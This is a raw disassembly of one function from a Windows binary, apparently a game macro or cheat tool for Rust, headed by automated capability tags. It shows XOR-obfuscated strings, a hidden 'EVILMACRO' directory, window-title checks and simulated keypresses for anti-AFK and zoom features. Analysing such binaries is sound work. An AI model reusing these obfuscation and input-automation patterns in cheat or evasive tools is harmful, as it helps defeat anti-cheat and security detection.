Function at 0x140061260
Capabilities:
Create directory
Create process on windows
Create thread
Encode data using xor
Execute command
Get graphical window text
Hide graphical window
Open clipboard

Disassembly:
push rbp
push rbx
push rdi
lea rbp, [rsp - 0x9e30]
mov eax, 0x9f30
call fcn.14008d640
sub rsp, rax
mov rax, qword [0x1400ae010]
xor rax, rsp
mov qword [rbp + 0x9d70], rax
xor ebx, ebx
lea r8, [0x140058640]
mov qword [rsp + 0x28], rbx
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], ebx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], rbx
lea r8, [0x14005e7a0]
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], rbx
lea r8, [0x14005e8a0]
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rax, [0x140089450]
mov dword [rbp + 0x3100], 0x50
xor ecx, ecx
mov qword [rbp + 0x3108], rax
mov dword [rbp + 0x3104], 0x40
mov dword [rbp + 0x3110], ebx
mov dword [rbp + 0x3114], ebx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xorps xmm0, xmm0
mov qword [rbp + 0x3148], rbx
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x3120], xmm0
lea rdi, str._________________________________________________________Lolz.guru
movdqu xmmword [rbp + 0x3130], xmm1
lea rcx, [rbp + 0x3100]
mov qword [rbp + 0x3118], rax
mov qword [rbp + 0x3140], rdi
call qword [sym.imp.USER32.dll_RegisterClassExA]
mov rax, qword [rbp + 0x3118]
mov r9d, 0x80000000
mov rdx, qword [rbp + 0x3140]
mov r8, rdi
mov qword [rsp + 0x58], rbx
xor ecx, ecx
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], rbx
mov dword [rsp + 0x38], 5
mov dword [rsp + 0x30], 5
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov rcx, rax
mov qword [0x1400af020], rax
call fcn.1400561a0
test al, al
jne 0x1400613d7
call fcn.140056280
mov rdx, qword [rbp + 0x3118]
mov rcx, qword [rbp + 0x3140]
call qword [sym.imp.USER32.dll_UnregisterClassA]
lea eax, [rbx + 1]
jmp 0x14008702e
mov rcx, qword [0x1400af020]
xor edx, edx
mov qword [rsp + 0x9f50], rsi
mov qword [rsp + 0x9f58], r12
mov qword [rsp + 0x9f60], r13
mov qword [rsp + 0x9f28], r14
mov qword [rsp + 0x9f20], r15
movaps xmmword [rsp + 0x9f10], xmm6
movaps xmmword [rsp + 0x9f00], xmm7
movaps xmmword [rsp + 0x9ef0], xmm8
movaps xmmword [rsp + 0x9ee0], xmm9
movaps xmmword [rsp + 0x9ed0], xmm10
movaps xmmword [rsp + 0x9ec0], xmm11
movaps xmmword [rsp + 0x9eb0], xmm12
movaps xmmword [rsp + 0x9ea0], xmm13
movaps xmmword [rsp + 0x9e90], xmm14
movaps xmmword [rsp + 0x9e80], xmm15
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x1400af020]
call qword [sym.imp.USER32.dll_UpdateWindow]
call fcn.14005e460
lea rcx, str.C:EVILMACRO
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir]
xor ecx, ecx
call fcn.140007d10
mov r15, qword [0x1400aef60]
test r15, r15
jne 0x1400614b9
mov r8d, 0xd41
lea rdx, str.C:UsersNameDesktopFreeScript1imguiimgui.cpp
lea rcx, [0x140090100]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov r15, qword [0x1400aef60]
mov qword [r15 + 0x20], rbx
lea rdx, [0x14009f4d8]
or dword [r15 + 8], 0x400
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_locale_l1_1_0.dll_setlocale]
cmp byte [0x1400a0d75], bl
mov eax, dword [0x1400a0d70]
movups xmm0, xmmword [str.r_bocXSWNIgzRPK3]
mov esi, dword [0x1400ae018]
movsd xmm1, qword [0x1400a0d68]
mov dword [rbp + 0x1cb8], eax
movzx eax, word [0x1400a0d74]
mov word [rbp + 0x1cbc], ax
mov eax, 4
movups xmmword [rbp + 0x1ca0], xmm0
movsd qword [rbp + 0x1cb0], xmm1
lea ecx, [rax + 0x1b]
je 0x1400616c1
mov r8d, ebx
cmp esi, 2
jl 0x140061679
movdqa xmm0, xmmword [str.1111111111111111]
movdqa xmm5, xmmword [0x1400a2240]
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, ecx
lea rcx, [rbp + 0x1ca4]
movd xmm6, eax
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x18
jl 0x140061570
cmp r8d, 0x1e
jge 0x1400616c1
movsxd rax, r8d
lea r9, [rbp + 0x1ca0]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x1e
jl 0x140061690
movss xmm2, dword [0x1400a1ff8]
lea rax, [0x14009be28]
mov rcx, qword [r15 + 0xa8]
lea rdx, [rbp + 0x1ca0]
xor r9d, r9d
mov qword [rsp + 0x20], rax
call fcn.140036af0
mov r14, qword [0x1400aef60]
test r14, r14
jne 0x140061718
mov r8d, 0x92f
lea rdx, str.C:UsersNameDesktopFreeScript1imguiimgui.cpp
lea rcx, [0x140090100]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov r14, qword [0x1400aef60]
mov rcx, qword [0x1400af020]
lea rdi, [r14 + 0x16b0]
mov dword [r14 + 0x1650], ebx
mov dword [r14 + 0x16b4], ebx
mov dword [r14 + 0x1640], 0x3f800000
mov dword [rdi], 0x41200000
mov dword [r14 + 0x1684], ebx
mov dword [r14 + 0x16f4], 0x40500000
mov dword [r14 + 0x1678], 0x40800000
mov dword [r14 + 0x167c], 0x40800000
mov dword [r14 + 0x1680], 0x40800000
mov dword [r14 + 0x1688], 0x41400000
mov dword [r14 + 0x168c], 0x41000000
mov dword [r14 + 0x1690], 0x41000000
mov dword [r14 + 0x1694], 0x40c00000
mov dword [r14 + 0x16a0], 0x41c80000
mov dword [r14 + 0x16a8], 0x3f800000
mov dword [r14 + 0x16ac], 0x41100000
call fcn.14003d8d0
mov rcx, qword [0x1400aefe0]
call fcn.14003cd20
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov rcx, rax
lea rdx, [rbp + 0x3318]
call qword [sym.imp.USER32.dll_GetWindowRect]
mov eax, dword [rbp + 0x3320]
mov r8d, ebx
movups xmm0, xmmword [str.eZZG]
add eax, 0xfffffe0c
movups xmmword [rbp + 0x3080], xmm0
mov ebx, 4
movups xmm0, xmmword [0x14009e100]
movups xmmword [rbp + 0x30a0], xmm0
movups xmm0, xmmword [0x14009e120]
movd xmm1, eax
mov eax, dword [rbp + 0x3324]
cvtdq2ps xmm1, xmm1
add eax, 0xfffffec0
movups xmmword [rbp + 0x30c0], xmm0
mulss xmm1, dword [0x1400a1e48]
movups xmm0, xmmword [0x14009e140]
movups xmmword [rbp + 0x30e0], xmm0
movss dword [rbp + 0xd4], xmm1
movd xmm1, eax
mov eax, dword [0x14009e150]
mov dword [rbp + 0x30f0], eax
movzx eax, byte [0x14009e154]
mov byte [rbp + 0x30f4], al
cvtdq2ps xmm1, xmm1
mulss xmm1, dword [0x1400a1e48]
movss dword [rbp + 0xd8], xmm1
movups xmm1, xmmword [0x14009e0f0]
movups xmmword [rbp + 0x3090], xmm1
movups xmm1, xmmword [0x14009e110]
movups xmmword [rbp + 0x30b0], xmm1
movups xmm1, xmmword [0x14009e130]
movups xmmword [rbp + 0x30d0], xmm1
cmp esi, 2
jl 0x140061a09
movdqa xmm0, xmmword [str.1111111111111111]
lea rcx, [rbp + 0x3084]
movdqa xmm5, xmmword [0x1400a2240]
mov eax, 0x1f
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
movd xmm6, ebx
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x70
jl 0x140061900
cmp r8d, 0x75
jge 0x140061a51
movsxd rax, r8d
lea r9, [rbp + 0x3080]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x75
jl 0x140061a20
mov r9d, 0x40
lea r8, [0x14009f4dc]
lea rdx, [rbp + 0x3080]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
movss xmm11, dword [0x1400a2004]
xorps xmm0, xmm0
movss xmm13, dword [0x1400a2048]
xorps xmm9, xmm9
movss xmm12, dword [0x1400a20d8]
movss xmm10, dword [0x1400a1ed4]
movss xmm15, dword [0x1400a1dd4]
movss xmm14, dword [0x1400a2034]
movups xmmword [rbp + 0x3a68], xmm0
movups xmmword [rbp + 0x3a78], xmm0
movups xmmword [rbp + 0x3a88], xmm0
nop
xor r9d, r9d
mov dword [rsp + 0x20], 1
xor r8d, r8d
lea rcx, [rbp + 0x3a68]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x140061b00
lea rcx, [rbp + 0x3a68]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x3a68]
call qword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x140086f58
cmp qword [0x1400b2cc8], 0
jne 0x140061b22
cmp qword [0x1400b2ff8], 0
je 0x140061b22
call fcn.14003ce40
test al, al
je 0x140061b22
call fcn.14003d7e0
call fcn.14003e1b0
call fcn.140009790
movss xmm0, dword [rbp + 0xd4]
lea r8, [rbp + 0x350]
movss dword [rbp + 0x358], xmm0
lea rcx, [rbp + 0x358]
movss xmm0, dword [rbp + 0xd8]
mov edx, 2
movss dword [rbp + 0x35c], xmm0
mov dword [rbp + 0x350], 0
mov dword [rbp + 0x354], 0
call fcn.140014090
xor edx, edx
mov dword [rbp + 0x360], 0x43fa0000
lea rcx, [rbp + 0x360]
mov dword [rbp + 0x364], 0x43a00000
call fcn.140014130
mov rax, qword [0x1400aef60]
lea rdx, [0x1400ae051]
mov r8d, 0x148
lea rcx, str._________________________________________________________Lolz.guru
or dword [rax + 0x1cd0], 0x40
mov dword [rax + 0x1d30], 0x3f800000
call fcn.140010180
mov eax, dword [0x1400ae3f8]
cmp eax, 1
jne 0x1400784b0
call fcn.14005fd40
call fcn.140043100
mov rax, qword [0x1400a0f68]
xor edi, edi
cmp byte [0x1400a0f6f], dil
mov qword [rbp + 0x370], rax
mov dword [rbp + 0x368], 0x43660000
mov dword [rbp + 0x36c], 0x43700000
je 0x140061d73
mov r8d, edi
cmp esi, 2
jl 0x140061d32
movdqa xmm2, xmmword [0x1400a2240]
mov eax, 0x1f
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400a2250]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm5, eax
mov eax, dword [str.1111111111111111]
movd xmm6, ebx
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
movd xmm1, dword [rbp + 0x370]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movdqa xmm0, xmm3
pxor xmm2, xmm1
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
movd dword [rbp + 0x370], xmm2
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
movd xmm1, dword [rbp + 0x374]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
pxor xmm2, xmm1
movd dword [rbp + 0x374], xmm2
jmp 0x140061d73
lea r9, [rbp + 0x370]
nop dword [rax]
mov eax, 0x2f684bdb
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x140061d40
mov rcx, qword [0x1400aef60]
lea rdx, [rbp + 0x370]
xor r8d, r8d
mov rax, qword [rcx + 0x1c20]
mov byte [rax + 0xc1], 1
mov rcx, qword [rcx + 0x1c20]
call fcn.140007500
mov edx, eax
mov dword [rsp + 0x20], edi
xor r9d, r9d
lea r8, [rbp + 0x368]
lea rcx, [rbp + 0x370]
call fcn.14000ce30
cmp byte [0x1400ae053], 0
je 0x140061ef4
movzx eax, byte [0x1400a1708]
lea rdx, [0x1400b3ed8]
movsd xmm0, qword [str.pG_]
lea rcx, [rbp + 0x550]
movsd qword [rbp + 0x550], xmm0
xor al, 0x39
xor byte [rbp + 0x551], 0x32
xor byte [rbp + 0x552], 0x33
xor byte [rbp + 0x553], 0x34
xor byte [rbp + 0x554], 0x35
xor byte [rbp + 0x555], 0x36
xor byte [rbp + 0x556], 0x37
xor byte [rbp + 0x557], 0x38
mov byte [rbp + 0x558], al
mov byte [rbp + 0x550], 0x41
call fcn.140042be0
cmp byte [0x1400ae053], 1
jne 0x140061e4e
movzx eax, byte [0x1400aef77]
cmp al, 1
mov ecx, eax
cmove ecx, edi
mov byte [0x1400aef77], cl
cmp byte [0x1400b3ed8], 1
jne 0x140061ed4
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov r8d, 0x200
lea rdx, [rbp + 0x9b70]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowTextA]
lea rdx, [rbp + 0x9b70]
lea rcx, [rbp + 0x1f40]
call fcn.14008ae00
lea rdx, str.Rust
lea rcx, [rbp + 0x1f40]
call fcn.14008be70
lea rcx, [rbp + 0x1f40]
movzx ebx, al
call fcn.14008ada0
test bl, bl
je 0x140061ecd
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov cl, 0x20
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
xor edx, edx
mov cl, 0x20
lea r8d, [r9 + 2]
call qword [sym.imp.USER32.dll_keybd_event]
mov byte [0x1400b3ed8], 1
cmp byte [0x1400aeff4], 1
jne 0x140061ef4
xor ecx, ecx
call fcn.140007910
test al, al
je 0x140061ef4
lea rcx, str.You_will_not_be_kicked_from_the_server_for_inactivity
call fcn.1400161e0
cmp byte [0x1400aef77], 0
je 0x140062130
movups xmm0, xmmword [0x14009e158]
movups xmmword [rbp + 0xd40], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x1400620c3
mov r8d, edi
cmp esi, 2
jl 0x140062083
movdqa xmm0, xmmword [str.1111111111111111]
lea rcx, [rbp + 0xd44]
movdqa xmm5, xmmword [0x1400a2240]
mov eax, 4
movdqa xmm4, xmmword [0x1400a3220]
mov edx, edi
movdqa xmm7, xmmword [0x1400a2260]
movdqa xmmword [rbp + 0xd20], xmm0
mov r8d, dword [rbp + 0xd20]
movd xmm6, eax
mov eax, 0x1f
movd xmm8, eax
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x10
jl 0x140061f80
jmp 0x1400620c3
lea r9, [rbp + 0xd40]
nop word [rax + rax]
mov eax, 0x2f684bdb
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x140062090
lea rdx, [0x1400b3ed8]
lea rcx, [rbp + 0xd40]
call fcn.140042be0
cmp byte [0x1400b3ed8], 1
jne 0x140062107
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov cl, 0x20
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
xor edx, edx
mov cl, 0x20
lea r8d, [r9 + 2]
call qword [sym.imp.USER32.dll_keybd_event]
mov byte [0x1400b3ed8], 1
cmp byte [0x1400aeff4], 1
jne 0x140062130
cmp byte [0x1400aef77], 1
jne 0x140062130
xor ecx, ecx
call fcn.140007910
test al, al
je 0x140062130
lea rcx, str.______
call fcn.1400161e0
cmp byte [0x1400ae053], 0
je 0x140062248
lea rdx, [rbp + 0x640]
mov byte [rsp + 0x60], 0
lea rcx, [rsp + 0x60]
call fcn.140087050
movzx ecx, byte [rax + 9]
test cl, cl
je 0x140062184
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor byte [rax + 2], 0x33
xor byte [rax + 3], 0x34
xor byte [rax + 4], 0x35
xor byte [rax + 5], 0x36
xor byte [rax + 6], 0x37
xor byte [rax + 7], 0x38
xor byte [rax + 8], 0x39
xor cl, 0x3a
mov byte [rax + 9], cl
lea rdx, [0x1400b4a8c]
mov rcx, rax
call fcn.140042be0
cmp byte [0x1400ae053], 1
jne 0x1400621b0
movzx eax, byte [0x1400aef77]
cmp al, 1
mov ecx, eax
cmove ecx, edi
mov byte [0x1400aef77], cl
cmp byte [0x1400b4a8c], 1
jne 0x140062228
lea rdx, [rbp + 0x630]
mov byte [rsp + 0x61], 0
lea rcx, [rsp + 0x61]
call fcn.140087070
mov rbx, rax
movzx eax, byte [rax + 9]
test al, al
je 0x140062202
xor byte [rbx], 0x31
xor byte [rbx + 1], 0x32
xor byte [rbx + 2], 0x33
xor byte [rbx + 3], 0x34
xor byte [rbx + 4], 0x35
xor byte [rbx + 5], 0x36
xor byte [rbx + 6], 0x37
xor byte [rbx + 7], 0x38
xor byte [rbx + 8], 0x39
xor al, 0x3a
mov byte [rbx + 9], al
movaps xmm2, xmm11
lea rcx, [rbp + 0x340]
movaps xmm1, xmm13
call fcn.140002fe0
mov r8, rax
lea rdx, [0x1400b475c]
mov rcx, rbx
call fcn.1400423f0
cmp byte [0x1400aeff4], 1
jne 0x140062248
xor ecx, ecx
call fcn.140007910
test al, al
je 0x140062248
lea rcx, str.Zoom
call fcn.1400161e0
cmp byte [0x1400aef77], 0
je 0x140062602
lea rdx, [rbp + 0x930]
mov byte [rsp + 0x62], 0
lea rcx, [rsp + 0x62]
call fcn.140087090
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x1400623d1
mov r8d, edi
cmp esi, 2
jl 0x140062394
movdqa xmm2, xmmword [0x1400a2240]
mov eax, 4
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400a2250]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov r8d, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm5, eax
mov eax, 0x1f
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.1111111111111111]
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r9d, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x1400623a0
lea rdx, [0x1400b4a8c]
mov rcx, r10
call fcn.140042be0
cmp byte [0x1400b4a8c], 1
jne 0x1400625d9
lea rdx, [rbp + 0xd50]
mov byte [rsp + 0x63], 0
lea rcx, [rsp + 0x63]
call fcn.1400870c0
mov rbx, rax
cmp byte [rax + 0xf], 0
je 0x1400625b3
mov r8d, edi
cmp esi, 2
jl 0x140062573
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov edx, edi
movdqa xmm4, xmmword [0x1400a3220]
mov rcx, rbx
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov r8d, dword [rbp + 0xd20]
movd xmm8, eax
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp edx, 0x10
jl 0x140062470
jmp 0x1400625b3
mov r9, rbx
nop word [rax + rax]
mov eax, 0x2f684bdb
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x140062580
movaps xmm2, xmm11
lea rcx, [rbp + 0x380]
movaps xmm1, xmm13
call fcn.140002fe0
mov r8, rax
lea rdx, [0x1400b475c]
mov rcx, rbx
call fcn.1400423f0
cmp byte [0x1400aeff4], 1
jne 0x140062602
cmp byte [0x1400aef77], 1
jne 0x140062602
xor ecx, ecx
